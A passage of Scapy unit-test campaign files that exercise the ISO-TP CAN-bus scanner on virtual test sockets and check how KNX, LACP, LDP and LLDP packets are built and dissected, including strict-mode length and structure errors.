rx_id=0x1ffff603): pkt = CAN(identifier=0x1ffff701, flags="extended", length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08') make_noise(pkt, 0.01) result = isotp_scan(sock_sender, range(0x1ffff5ff, 0x1ffff604 + 1), output_format="text", noise_listen_time=0.1, sniff_time=0.02, extended_can_id=True, verbose=False) text = "\nFound 2 ISOTP-FlowControl Packet(s):" assert text in result assert "0x1ffff602" in result assert "0x1ffff603" in result assert "0x1ffff702" in result assert "0x1ffff703" in result assert "No Padding" in result = scan with code output sock_sender = TestSocket(CAN) sock_recv1 = TestSocket(CAN) sock_sender.pair(sock_recv1) sock_recv2 = TestSocket(CAN) sock_sender.pair(sock_recv2) sock_noise = TestSocket(CAN) sock_sender.pair(sock_noise) with ISOTPSoftSocket(sock_recv1, tx_id=0x702, rx_id=0x602), ISOTPSoftSocket(sock_recv2, tx_id=0x703, rx_id=0x603): pkt = CAN(identifier=0x701, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08') make_noise(pkt, 0.01) result = isotp_scan(sock_sender, range(0x5ff, 0x604 + 1), output_format="code", noise_listen_time=0.1, sniff_time=0.02, can_interface="can0", verbose=False) s1 = "ISOTPSocket(can0, tx_id=0x602, rx_id=0x702, " \ "padding=False, fd=False, basecls=ISOTP)\n" s2 = "ISOTPSocket(can0, tx_id=0x603, rx_id=0x703, " \ "padding=False, fd=False, basecls=ISOTP)\n" assert s1 in result assert s2 in result = scan with json output sock_sender = TestSocket(CAN) sock_recv1 = TestSocket(CAN) sock_sender.pair(sock_recv1) sock_recv2 = TestSocket(CAN) sock_sender.pair(sock_recv2) sock_noise = TestSocket(CAN) sock_sender.pair(sock_noise) with ISOTPSoftSocket(sock_recv1, tx_id=0x702, rx_id=0x602), ISOTPSoftSocket(sock_recv2, tx_id=0x703, rx_id=0x603): pkt = CAN(identifier=0x701, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08') make_noise(pkt, 0.01) result = isotp_scan(sock_sender, range(0x5ff, 0x604 + 1), output_format="json", noise_listen_time=0.1, sniff_time=0.02, can_interface="can0", verbose=False) s1 = "\"iface\": \"can0\", \"tx_id\": 1538, \"rx_id\": 1794, " \ "\"padding\": false, \"fd\": false, \"basecls\": \"ISOTP\"" s2 = "\"iface\": \"can0\", \"tx_id\": 1539, \"rx_id\": 1795, " \ "\"padding\": false, \"fd\": false, \"basecls\": \"ISOTP\"" print(result) assert s1 in result assert s2 in result = scan with code output noise sock_sender = TestSocket(CAN) sock_recv1 = TestSocket(CAN) sock_sender.pair(sock_recv1) sock_recv2 = TestSocket(CAN) sock_sender.pair(sock_recv2) sock_noise = TestSocket(CAN) sock_sender.pair(sock_noise) with ISOTPSoftSocket(sock_recv1, tx_id=0x702, rx_id=0x602), ISOTPSoftSocket(sock_recv2, tx_id=0x703, rx_id=0x603): pkt = CAN(identifier=0x702, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08') make_noise(pkt, 0.01) result = isotp_scan(sock_sender, range(0x5ff, 0x604 + 1), output_format="code", noise_listen_time=0.1, sniff_time=0.02, can_interface="can0", verbose=False) s1 = "ISOTPSocket(can0, tx_id=0x602, rx_id=0x702, " \ "padding=False, fd=False, basecls=ISOTP)\n" s2 = "ISOTPSocket(can0, tx_id=0x603, rx_id=0x703, " \ "padding=False, fd=False, basecls=ISOTP)\n" assert s1 not in result assert s2 in result = scan with code output extended_isotp sock_sender = TestSocket(CAN) sock_recv1 = TestSocket(CAN) sock_sender.pair(sock_recv1) sock_recv2 = TestSocket(CAN) sock_sender.pair(sock_recv2) sock_noise = TestSocket(CAN) sock_sender.pair(sock_noise) with ISOTPSoftSocket(sock_recv1, tx_id=0x702, rx_id=0x602, ext_address=0x11, rx_ext_address=0x22), ISOTPSoftSocket(sock_recv2, tx_id=0x703, rx_id=0x603, ext_address=0x11, rx_ext_address=0x22): pkt = CAN(identifier=0x701, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08') make_noise(pkt, 0.01) result = isotp_scan(sock_sender, range(0x5ff, 0x604 + 1), output_format="code", noise_listen_time=0.1, sniff_time=0.05, extended_scan_range=range(0x20, 0x30), extended_addressing=True, can_interface="can0", verbose=False) s1 = "ISOTPSocket(can0, tx_id=0x602, rx_id=0x702, padding=False, " \ "ext_address=0x22, rx_ext_address=0x11, fd=False, basecls=ISOTP)" s2 = "ISOTPSocket(can0, tx_id=0x603, rx_id=0x703, padding=False, " \ "ext_address=0x22, rx_ext_address=0x11, fd=False, basecls=ISOTP)" assert s1 in result assert s2 in result = scan with code output extended_isotp extended can id sock_sender = TestSocket(CAN) sock_recv1 = TestSocket(CAN) sock_sender.pair(sock_recv1) sock_recv2 = TestSocket(CAN) sock_sender.pair(sock_recv2) sock_noise = TestSocket(CAN) sock_sender.pair(sock_noise) with ISOTPSoftSocket(sock_recv1, tx_id=0x1ffff702, rx_id=0x1ffff602, ext_address=0x11, rx_ext_address=0x22), ISOTPSoftSocket(sock_recv2, tx_id=0x1ffff703, rx_id=0x1ffff603, ext_address=0x11, rx_ext_address=0x22): pkt = CAN(identifier=0x701, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08') make_noise(pkt, 0.01) result = isotp_scan(sock_sender, range(0x1ffff5ff, 0x1ffff604 + 1), output_format="code", noise_listen_time=0.1, sniff_time=0.05, extended_scan_range=range(0x20, 0x30), extended_addressing=True, can_interface="can0", verbose=False) s1 = "ISOTPSocket(can0, tx_id=0x1ffff602, rx_id=0x1ffff702, padding=False, " \ "ext_address=0x22, rx_ext_address=0x11, fd=False, basecls=ISOTP)" s2 = "ISOTPSocket(can0, tx_id=0x1ffff603, rx_id=0x1ffff703, padding=False, " \ "ext_address=0x22, rx_ext_address=0x11, fd=False, basecls=ISOTP)" print(result) assert s1 in result assert s2 in result = scan default output sock_sender = TestSocket(CAN) sock_recv1 = TestSocket(CAN) sock_sender.pair(sock_recv1) sock_recv2 = TestSocket(CAN) sock_sender.pair(sock_recv2) sock_noise = TestSocket(CAN) sock_sender.pair(sock_noise) with ISOTPSoftSocket(sock_recv1, tx_id=0x702, rx_id=0x602), ISOTPSoftSocket(sock_recv2, tx_id=0x703, rx_id=0x603): pkt = CAN(identifier=0x701, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08') make_noise(pkt, 0.01) result = isotp_scan(sock_sender, range(0x5ff, 0x604 + 1), noise_listen_time=0.1, sniff_time=0.02, can_interface=new_can_socket0(), verbose=False) assert 0x602 == result[0].tx_id assert 0x702 == result[0].rx_id assert 0x603 == result[1].tx_id assert 0x703 == result[1].rx_id for s in result: s.close() del s = scan default output extended sock_sender = TestSocket(CAN) sock_recv1 = TestSocket(CAN) sock_sender.pair(sock_recv1) sock_recv2 = TestSocket(CAN) sock_sender.pair(sock_recv2) sock_noise = TestSocket(CAN) sock_sender.pair(sock_noise) with ISOTPSoftSocket(sock_recv1, tx_id=0x702, rx_id=0x602, ext_address=0x11, rx_ext_address=0x22), ISOTPSoftSocket(sock_recv2, tx_id=0x703, rx_id=0x603, ext_address=0x11, rx_ext_address=0x22): pkt = CAN(identifier=0x701, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08') make_noise(pkt, 0.01) result = isotp_scan(sock_sender, range(0x5ff, 0x604 + 1), noise_listen_time=0.1, sniff_time=0.02, extended_scan_range=range(0x20, 0x30), extended_addressing=True, can_interface=new_can_socket0(), verbose=False) assert 0x602 == result[0].tx_id assert 0x702 == result[0].rx_id assert 0x22 == result[0].ext_address assert 0x11 == result[0].rx_ext_address assert 0x603 == result[1].tx_id assert 0x703 == result[1].rx_id assert 0x22 == result[1].ext_address assert 0x11 == result[1].rx_ext_address for s in result: s.close() del s + Cleanup = Delete vcan interfaces assert cleanup_interfaces() + Coverage stability tests = empty tests from scapy.contrib.isotp.isotp_scanner import generate_code_output, generate_text_output assert generate_code_output("", None) == "" assert generate_text_output("") == "No packets found." = get_isotp_fc from scapy.contrib.isotp.isotp_scanner import get_isotp_fc # to trigger "noise_ids.append(packet.identifier)" a = [] get_isotp_fc( 1, [], a, False, Bunch( flags="extended", identifier=1, data=b"\x00" ) ) assert 1 in a ================================================ FILE: test/contrib/knx.uts ================================================ % knx layer test campaign + Syntax check = Import the knx layer from scapy.contrib.knx import * + Test KNX Header = Header default values pkt = KNX() assert raw(pkt) == b'\x06\x10\x00\x00\x00\x06' = KNX Header payload length calculation pkt = KNX(service_identifier=0x0203)/KNXDescriptionRequest() assert raw(pkt)[4:6] == b'\x00\x0e' = KNX Header Guess Payload KNXSearchRequest p = KNX(b'\x06\x10\x02\x01\x00\x0e\x08\x01\x00\x00\x00\x00\x00\x00') assert isinstance(p.payload, KNXSearchRequest) = KNX Header Guess Payload KNXSearchResponse p = KNX(b'\x06\x10\x02\x02\x00F\x08\x01\x00\x00\x00\x00\x00\x006\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x02') assert isinstance(p.payload, KNXSearchResponse) = KNX Header Guess Payload KNXDescriptionRequest p = KNX(b'\x06\x10\x02\x03\x00\x0e\x08\x01\x00\x00\x00\x00\x00\x00') assert isinstance(p.payload, KNXDescriptionRequest) = KNX Header Guess Payload KNXDescriptionResponse p = KNX(b'\x06\x10\x02\x04\x00>6\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x02') assert isinstance(p.payload, KNXDescriptionResponse) = KNX Header Guess Payload KNXConnectRequest p = KNX(b'\x06\x10\x02\x05\x00\x18\x08\x01\x00\x00\x00\x00\x00\x00\x08\x01\x00\x00\x00\x00\x00\x00\x02\x03') assert isinstance(p.payload, KNXConnectRequest) = KNX Header Guess Payload KNXConnectResponse p = KNX(b'\x06\x10\x02\x06\x00\x12\x00\x00\x08\x01\x00\x00\x00\x00\x00\x00\x02\x03') assert isinstance(p.payload, KNXConnectResponse) = KNX Header Guess Payload KNXConnectionstateRequest p = KNX(b'\x06\x10\x02\x07\x00\x10\x00\x00\x08\x01\x00\x00\x00\x00\x00\x00') assert isinstance(p.payload, KNXConnectionstateRequest) = KNX Header Guess Payload KNXConnectionstateResponse p = KNX(b'\x06\x10\x02\x08\x00\x08\x00\x00') assert isinstance(p.payload, KNXConnectionstateResponse) = KNX Header Guess Payload KNXDisconnectRequest p = KNX(b'\x06\x10\x02\t\x00\x10\x01\x00\x08\x01\x00\x00\x00\x00\x00\x00') assert isinstance(p.payload, KNXDisconnectRequest) = KNX Header Guess Payload KNXDisconnectResponse p = KNX(b'\x06\x10\x02\n\x00\x08\x00\x00') assert isinstance(p.payload, KNXDisconnectResponse) = KNX Header Guess Payload KNXConfigurationRequest p = KNX(b'\x06\x10\x03\x10\x00\x15\x04\x01\x00\x00\x00\x00\xbc\xe0\x00\x00\n\x03\x01\x00\x80') assert isinstance(p.payload, KNXConfigurationRequest) = KNX Header Guess Payload KNXConfigurationACK p = KNX(b'\x06\x10\x03\x11\x00\n\x04\x01\x00\x00') assert isinstance(p.payload, KNXConfigurationACK) = KNX Header Guess Payload KNXTunnelingRequest p = KNX(b'\x06\x10\x04 \x00\x15\x04\x01\x00\x00\x00\x00\xbc\xe0\x00\x00\n\x03\x01\x00\x80') assert isinstance(p.payload, KNXTunnelingRequest) = KNX Header Guess Payload KNXTunnelingACK p = KNX(b'\x06\x10\x04!\x00\n\x04\x01\x00\x00') assert isinstance(p.payload, KNXTunnelingACK) + Test layer binding = Destination port ================================================ FILE: test/contrib/lacp.uts ================================================ % LACP unit tests # # Type the following command to launch start the tests: # $ test/run_tests -P "load_contrib('lacp')" -t test/contrib/lacp.uts + LACP = Build & dissect LACP # 1 0.000000 CiscoInc_12:0f:0d Slow-Protocols LACP 124 Link Aggregation Control ProtocolVersion 1. Actor Port = 22 Partner Port = 25 params = dict( actor_system_priority=32768, actor_system='00:13:c4:12:0f:00', actor_key=13, actor_port_priority=32768, actor_port_number=22, actor_state=0x85, partner_system_priority=32768, partner_system='00:0e:83:16:f5:00', partner_key=13, partner_port_priority=32768, partner_port_number=25, partner_state=0x36, collector_max_delay=32768, ) pkt = Ether(src="00:13:c4:12:0f:0d") / SlowProtocol() / LACP(**params) s = raw(pkt) raw_pkt = b'\x01\x80\xc2\x00\x00\x02\x00\x13\xc4\x12\x0f\x0d\x88\x09\x01\x01\x01\x14\x80' \ b'\x00\x00\x13\xc4\x12\x0f\x00\x00\x0d\x80\x00\x00\x16\x85\x00\x00\x00\x02\x14' \ b'\x80\x00\x00\x0e\x83\x16\xf5\x00\x00\x0d\x80\x00\x00\x19\x36\x00\x00\x00\x03' \ b'\x10\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \ b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \ b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \ b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' assert s == raw_pkt p = Ether(s) assert SlowProtocol in p and LACP in p assert raw(p) == raw_pkt = Marker sanity pkt = Ether(src="00:13:c4:12:0f:0d") / SlowProtocol() / MarkerProtocol() pkt.show() s = raw(pkt) p = Ether(s) assert SlowProtocol in p and MarkerProtocol in p assert raw(p) == s ================================================ FILE: test/contrib/ldp.uts ================================================ % Regression tests for the ldp module + Basic LDP test = Default build load_contrib("ldp") base = Ether()/IP()/UDP()/LDP() pkt1 = base/LDPNotification() pkt2 = base/LDPKeepAlive() pkt3 = base/LDPLabelWM() pkt4 = base/LDPHello() pkt5 = base/LDPAddressWM() pkt6 = base/LDPLabelMM() # Build pkt1 = Ether(raw(pkt1)) pkt2 = Ether(raw(pkt2)) pkt3 = Ether(raw(pkt3)) pkt4 = Ether(raw(pkt4)) pkt5 = Ether(raw(pkt5)) pkt6 = Ether(raw(pkt6)) assert LDPNotification in pkt1 assert LDPKeepAlive in pkt2 assert LDPLabelWM in pkt3 assert LDPHello in pkt4 assert LDPAddressWM in pkt5 assert LDPLabelMM in pkt6 = Basic dissection pkt = Ether(b'AJH\x18\x07\xfa\xd0P\x99V\xdd\xf9\x08\x00E\x00\x006\x00\x01\x00\x00@\x11:\x96(\x9d\r\xd3\xc1\x1eq\x10\x02\x86\x02\x86\x00"5\xa1\x00\x01\x00\x16\x7f\x00\x00\x01\x00\x00\x01\x00\x00\x0c\x00\x00\x00\x00\x04\x00\x00\x04\x00\xb4\x00\x00') assert LDPHello in pkt assert pkt[LDP].id == "127.0.0.1" assert pkt[LDPHello].params == [180, 0, 0] = Build advanced LDPInit() pkti = LDPInit(u=0, id=11, params=[180, 0, 0, 0, 0, '1.1.2.2', 0])/LDPKeepAlive() assert raw(pkti) == b'\x02\x00\x00\x16\x00\x00\x00\x0b\x05\x00\x00\x0e\x00\x01\x00\xb4\x00\x00\x00\x00\x01\x01\x02\x02\x00\x00\x02\x01\x00\x04\x00\x00\x00\x00' pkti = LDPInit(raw(pkti)) assert pkti.params == [180, 0, 0, 0, 0, '1.1.2.2', 0] = Build advanced LDPAddress() with LDPLabelMM() pkta = LDPAddress(address=['1.1.2.2', '172.16.2.1'])/LDPLabelMM(fec=[('172.16.2.0', 31)])/LDPLabelMM(fec=[('1.1.2.2', 32)])/LDPLabelMM(fec=[('1.1.2.1', 32)]) = Advanced dissection - complex LDP load_contrib("mpls") pkt = Ether(b"\xcc\x04\x04\xdc\x00\x10\xcc\x03\x04\xdc\x00\x10\x88G\x00\x01-\xfeE\xc0\x014\xfe\x84\x00\x00\xff\x06\xb5z\x01\x01\x02\x02\x01\x01\x02\x01\xe4\xe4\x02\x86\xbf\xfb'\xe4\xb9\xb3\xe4GP\x10\x0e\xb6v\x9f\x00\x00\x00\x01\x01\x08\x01\x01\x02\x02\x00\x00\x03\x00\x00\x12\x00\x00\x00\x0e\x01\x01\x00\n\x00\x01\x01\x01\x02\x02\xac\x10\x02\x01\x04\x00\x00\x18\x00\x00\x00\x0f\x01\x00\x00\x08\x02\x00\x01\x1f\xac\x10\x02\x00\x02\x00\x00\x04\x00\x00\x00\x03\x04\x00\x00\x18\x00\x00\x00\x10\x01\x00\x00\x08\x02\x00\x01 \x01\x01\x02\x02\x02\x00\x00\x04\x00\x00\x00\x03\x04\x00\x00\x18\x00\x00\x00\x11\x01\x00\x00\x08\x02\x00\x01 \x01\x01\x02\x01\x02\x00\x00\x04\x00\x00\x00\x12\x04\x00\x00\x18\x00\x00\x00\x12\x01\x00\x00\x08\x02\x00\x01 \x01\x01\x01\x02\x02\x00\x00\x04\x00\x00\x00\x13\x04\x00\x00\x18\x00\x00\x00\x13\x01\x00\x00\x08\x02\x00\x01 \x01\x01\x01\x01\x02\x00\x00\x04\x00\x00\x00\x14\x04\x00\x00\x18\x00\x00\x00\x14\x01\x00\x00\x08\x02\x00\x01\x1f\xac\x10\x01\x00\x02\x00\x00\x04\x00\x00\x00\x15\x04\x00\x00\x18\x00\x00\x00\x15\x01\x00\x00\x08\x02\x00\x01\x1f\xac\x10\x00\x00\x02\x00\x00\x04\x00\x00\x00\x16\x04\x00\x00$\x00\x00\x00\x16\x01\x00\x00\x14\x80\x80\x05\x0c\x00\x00\x00\x00\x00\x00\x00\n\x01\x04\x05\xdc\x0c\x04\x03\x02\x02\x00\x00\x04\x00\x00\x00\x10") assert pkt.getlayer(LDPLabelMM, 8).fec == [('0.0.0.0', 12), ('0.0.0.0', 0), ('5.0.0.0', 4), ('2.0.0.0', 3)] ================================================ FILE: test/contrib/lldp.uts ================================================ % LLDP test campaign # # execute test: # > test/run_tests -P "load_contrib('lldp')" -t test/contrib/lldp.uts # + Basic layer handling = build basic LLDP frames frm = Ether(src='01:01:01:01:01:01', dst=LLDP_NEAREST_BRIDGE_MAC)/ \ LLDPDUChassisID(subtype=LLDPDUChassisID.SUBTYPE_MAC_ADDRESS, id=b'\x06\x05\x04\x03\x02\x01') / \ LLDPDUPortID(subtype=LLDPDUPortID.SUBTYPE_MAC_ADDRESS, id=b'\x01\x02\x03\x04\x05\x06')/\ LLDPDUTimeToLive()/\ LLDPDUSystemName(system_name='mate')/\ LLDPDUSystemCapabilities(telephone_available=1, router_available=1, telephone_enabled=1)/\ LLDPDUManagementAddress( management_address_subtype=LLDPDUManagementAddress.SUBTYPE_MANAGEMENT_ADDRESS_IPV4, management_address='1.2.3.4', interface_numbering_subtype=LLDPDUManagementAddress.SUBTYPE_INTERFACE_NUMBER_IF_INDEX, interface_number=23, object_id='abcd') / \ LLDPDUEndOfLLDPDU() frm = frm.build() frm = Ether(frm) = build: check length calculation (#GH3107) frame = Ether(src='aa:bb:cc:dd:ee:ff', dst='11:22:33:44:55:66') / \ LLDPDUChassisID(subtype=0x04, id='aa:bb:cc:dd:ee:ff') / \ LLDPDUPortID(subtype=0x05, id='1') / \ LLDPDUTimeToLive(ttl=5) / \ LLDPDUManagementAddress(management_address_subtype=0x01, management_address=socket.inet_aton('192.168.0.10')) data = b'\x11"3DUf\xaa\xbb\xcc\xdd\xee\xff\x88\xcc\x02\x07\x04\xaa\xbb\xcc\xdd\xee\xff\x04\x02\x051\x06\x02\x00\x05\x10\x0c\x05\x01\xc0\xa8\x00\n\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' assert bytes(frame) == data = add padding if required conf.contribs['LLDP'].strict_mode_disable() frm = Ether(src='01:01:01:01:01:01', dst=LLDP_NEAREST_BRIDGE_MAC) / \ LLDPDUPortID(subtype=LLDPDUPortID.SUBTYPE_INTERFACE_NAME, id='eth0') / \ LLDPDUChassisID(subtype=LLDPDUChassisID.SUBTYPE_MAC_ADDRESS, id='06:05:04:03:02:01') / \ LLDPDUTimeToLive() / \ LLDPDUEndOfLLDPDU() assert len(raw(frm)) == 60 assert len(raw(Ether(raw(frm))[Padding])) == 24 frm = Ether(src='01:01:01:01:01:01', dst=LLDP_NEAREST_BRIDGE_MAC) / \ LLDPDUPortID(subtype=LLDPDUPortID.SUBTYPE_INTERFACE_NAME, id='eth012345678901234567890123') / \ LLDPDUChassisID(subtype=LLDPDUChassisID.SUBTYPE_MAC_ADDRESS, id='06:05:04:03:02:01') / \ LLDPDUTimeToLive() / \ LLDPDUEndOfLLDPDU() assert (len(raw(frm)) == 60) assert (len(raw(Ether(raw(frm))[Padding])) == 1) frm = Ether(src='01:01:01:01:01:01', dst=LLDP_NEAREST_BRIDGE_MAC) / \ LLDPDUPortID(subtype=LLDPDUPortID.SUBTYPE_INTERFACE_NAME, id='eth0123456789012345678901234') / \ LLDPDUChassisID(subtype=LLDPDUChassisID.SUBTYPE_MAC_ADDRESS, id='06:05:04:03:02:01') / \ LLDPDUTimeToLive() / \ LLDPDUEndOfLLDPDU() assert (len(raw(frm)) == 60) try: Ether(raw(frm))[Padding] assert False except IndexError: pass = Dissection: PtopoChassisIdType == chasIdPtopoGenAddr(5) data = hex_bytes("0180c200000e00192fa7b28d88cc0206050101020304040d0155706c696e6b20746f205331060200780a0c53322e636973636f2e636f6d0cbe436973636f20494f5320536f6674776172652c20433335363020536f667477617265202843333536302d414456495053455256494345534b392d4d292c2056657273696f6e2031322e322834342953452c2052454c4541534520534f4654574152452028666331290a436f707972696768742028632920313938362d3230303820627920436973636f2053797374656d732c20496e632e0a436f6d70696c6564205361742030352d4a616e2d30382030303a3135206279207765696c697508134769676162697445746865726e6574302f31330e0400140004fe060080c2010001fe0900120f0103c03600100000") pkt = Ether(data) assert pkt.family == 1 assert pkt.id == "1.2.3.4" = Advanced test: check definitions and length of complex IDs pkt = Ether()/LLDPDUChassisID(id="ff:dd:ee:bb:aa:99", subtype=0x04)/LLDPDUPortID(subtype=0x03, id="aa:bb:cc:dd:ee:ff")/LLDPDUTimeToLive(ttl=120)/LLDPDUEndOfLLDPDU() pkt = Ether(raw(pkt)) assert pkt[LLDPDUChassisID].fields_desc[2].i2s == LLDPDUChassisID.LLDP_CHASSIS_ID_TLV_SUBTYPES assert pkt[LLDPDUPortID].fields_desc[2].i2s == LLDPDUPortID.LLDP_PORT_ID_TLV_SUBTYPES assert pkt[LLDPDUChassisID]._length == 7 assert pkt[LLDPDUPortID]._length == 7 = Network families / addresses in IDs # IPv4 pkt = Ether()/LLDPDUChassisID(subtype=0x05, family=1, id="1.1.1.1")/LLDPDUPortID(subtype=0x04, family=1, id="2.2.2.2")/LLDPDUTimeToLive()/LLDPDUEndOfLLDPDU() pkt = Ether(raw(pkt)) assert pkt[LLDPDUChassisID].id == "1.1.1.1" assert pkt[LLDPDUPortID].id == "2.2.2.2" pkt = Ether(hex_bytes(b'ffffffffffff0242ac11000288cc02060501010101010406040102020202060200140000')) assert pkt[LLDPDUChassisID].id == "1.1.1.1" assert pkt[LLDPDUPortID].id == "2.2.2.2" try: pkt = Ether()/LLDPDUChassisID(subtype=0x05, family=1, id="2001::abcd")/LLDPDUPortID()/LLDPDUTimeToLive()/LLDPDUEndOfLLDPDU() assert False except (socket.gaierror, AssertionError): pass try: pkt = Ether()/LLDPDUChassisID()/LLDPDUPortID(subtype=0x04, family=1, id="2001::abcd")/LLDPDUTimeToLive()/LLDPDUEndOfLLDPDU() assert False except (socket.gaierror, AssertionError): pass # IPv6 pkt = Ether()/LLDPDUChassisID(subtype=0x05, family=2, id="1111::2222")/LLDPDUPortID(subtype=0x04, family=2, id="2001::abcd")/LLDPDUTimeToLive()/LLDPDUEndOfLLDPDU() pkt = Ether(raw(pkt)) assert pkt[LLDPDUChassisID].id == "1111::2222" assert pkt[LLDPDUPortID].id == "2001::abcd" pkt = Ether(hex_bytes(b'ffffffffffff0242ac11000288cc0212050211110000000000000000000000002222041204022001000000000000000000000000abcd060200140000')) assert pkt[LLDPDUChassisID].id == "1111::2222" assert pkt[LLDPDUPortID].id == "2001::abcd" try: pkt = Ether()/LLDPDUChassisID(subtype=0x05, family=2, id="1.1.1.1")/LLDPDUPortID()/LLDPDUTimeToLive()/LLDPDUEndOfLLDPDU() assert False except (socket.gaierror, AssertionError): pass try: pkt = Ether()/LLDPDUChassisID()/LLDPDUPortID(subtype=0x04, family=2, id="1.1.1.1")/LLDPDUTimeToLive()/LLDPDUEndOfLLDPDU() assert False except (socket.gaierror, AssertionError): pass # Other pkt = Ether()/LLDPDUChassisID(subtype=0x05, id=b"\x00\x07\xab")/LLDPDUPortID(subtype=0x04, id=b"\x07\xaa\xbb\xcc")/LLDPDUTimeToLive()/LLDPDUEndOfLLDPDU() pkt = Ether(raw(pkt)) assert pkt[LLDPDUChassisID].id == b"\x00\x07\xab" assert pkt[LLDPDUPortID].id == b"\x07\xaa\xbb\xcc" pkt = Ether(hex_bytes(b'ffffffffffff0242ac11000288cc020505000007ab0406040007aabbcc060200140000')) assert pkt[LLDPDUChassisID].id == b"\x00\x07\xab" assert pkt[LLDPDUPortID].id == b"\x07\xaa\xbb\xcc" + strict mode handling - build = basic frame structure conf.contribs['LLDP'].strict_mode_enable() # invalid length in LLDPDUEndOfLLDPDU try: frm = Ether()/LLDPDUChassisID(id='slartibart')/LLDPDUPortID(id='42')/LLDPDUTimeToLive()/LLDPDUEndOfLLDPDU(_length=8) frm.build() assert False except LLDPInvalidLengthField: pass # missing chassis id try: frm = Ether()/LLDPDUChassisID()/LLDPDUPortID(id='42')/LLDPDUTimeToLive()/LLDPDUEndOfLLDPDU() frm.build() assert False except LLDPInvalidLengthField: pass # missing management address try: frm = Ether()/LLDPDUChassisID(id='slartibart')/LLDPDUPortID(id='42')/LLDPDUTimeToLive()/LLDPDUManagementAddress()/LLDPDUEndOfLLDPDU() frm.build() assert False except LLDPInvalidLengthField: pass + strict mode handling - dissect = basic frame structure conf.contribs['LLDP'].strict_mode_enable() # missing PortIDTLV try: frm = Ether() / LLDPDUChassisID(id='slartibart') / LLDPDUTimeToLive() / LLDPDUEndOfLLDPDU() Ether(frm.build()) assert False except LLDPInvalidFrameStructure: pass # invalid order try: frm = Ether() / LLDPDUPortID(id='42') / LLDPDUChassisID(id='slartibart') / LLDPDUTimeToLive() / LLDPDUEndOfLLDPDU() Ether(frm.build()) assert False except LLDPInvalidFrameStructure: pass # layer LLDPDUPortID occurs twice try: frm = Ether() / LLDPDUChassisID(id='slartibart') / LLDPDUPortID(id='42') / LLDPDUPortID(id='23') / LLDPDUTimeToLive() / LLDPDUEndOfLLDPDU() Ether(frm.build()) assert False except LLDPInvalidFrameStructure: pass # missing LLDPDUEndOfLLDPDU try: frm = Ether() / LLDPDUChassisID(id='slartibart') / LLDPDUPortID(id='42') / \ LLDPDUPortID(id='23') / LLDPDUTimeToLive() / LLDPDUEndOfLLDPDU() Ether(frm.build()) assert False except LLDPInvalidFrameStructure: pass conf.contribs['LLDP'].strict_mode_disable() frm = Ether()/LLDPDUChassisID()/LLDPDUTimeToLive()/LLDPDUEndOfLLDPDU() frm = Ether(frm.build()) = length fields / value sizes checks conf.contribs['LLDP'].strict_mode_enable() # missing chassis id => invalid length try: frm = Ether() / LLDPDUChassisID() / LLDPDUPortID(id='42') / LLDPDUTimeToLive() / LLDPDUEndOfLLDPDU() Ether(frm.build()) assert False except LLDPInvalidLengthField: pass # invalid length in LLDPDUEndOfLLDPDU try: frm = Ether()/LLDPDUChassisID(id='slartibart')/LLDPDUPortID(id='42')/LLDPDUTimeToLive()/LLDPDUEndOfLLDPDU(_length=8) Ether(frm.build()) assert False except LLDPInvalidLengthField: pass # invalid management address try: frm = Ether() / LLDPDUChassisID(id='slartibart') / LLDPDUPortID(id='42') / LLDPDUTimeToLive() / LLDPDUManagementAddress() / LLDPDUEndOfLLDPDU() Ether(frm.build()) assert False except LLDPInvalidLengthField: pass conf.contribs['LLDP'].strict_mode_disable() frm = Ether() / LLDPDUChassisID(id='slartibart') / LLDPDUPortID(id='42') / LLDPDUTimeToLive() / LLDPDUEndOfLLDPDU() frm = Ether(frm.build()) frm = Ether() / LLDPDUChassisID() / LLDPDUPortID() / LLDPDUTimeToLive() / LLDPDUEndOfLLDPDU(_length=8) frm = Ether(frm.build()) = test attribute values conf.contribs['LLDP'].strict_mode_enable() frm = Ether(src='01:01:01:01:01:01', dst=LLDP_NEAREST_BRIDGE_MAC)/ \ LLDPDUChassisID(subtype=LLDPDUChassisID.SUBTYPE_MAC_ADDRESS, id='06:05:04:03:02:01') / \ LLDPDUPortID(subtype=LLDPDUPortID.SUBTYPE_MAC_ADDRESS, id='01:02:03:04:05:06')/\ LLDPDUTimeToLive()/\ LLDPDUSystemName(system_name='things will')/\ LLDPDUSystemCapabilities(telephone_available=1, router_available=1, telephone_enabled=1, router_enabled=1)/\ LLDPDUManagementAddress( management_address_subtype=LLDPDUManagementAddress.SUBTYPE_MANAGEMENT_ADDRESS_IPV4, management_address='1.2.3.4', interface_numbering_subtype=LLDPDUManagementAddress.SUBTYPE_INTERFACE_NUMBER_IF_INDEX, interface_number=23, object_id='burn') / \ LLDPDUSystemDescription(description='without tests.') / \ LLDPDUPortDescription(description='always!') / \ LLDPDUEndOfLLDPDU() frm = Ether(frm.build()) assert frm[LLDPDUChassisID].id == '06:05:04:03:02:01' assert frm[LLDPDUPortID].id == '01:02:03:04:05:06' sys_capabilities = frm[LLDPDUSystemCapabilities] assert sys_capabilities.reserved_5_available == 0 assert 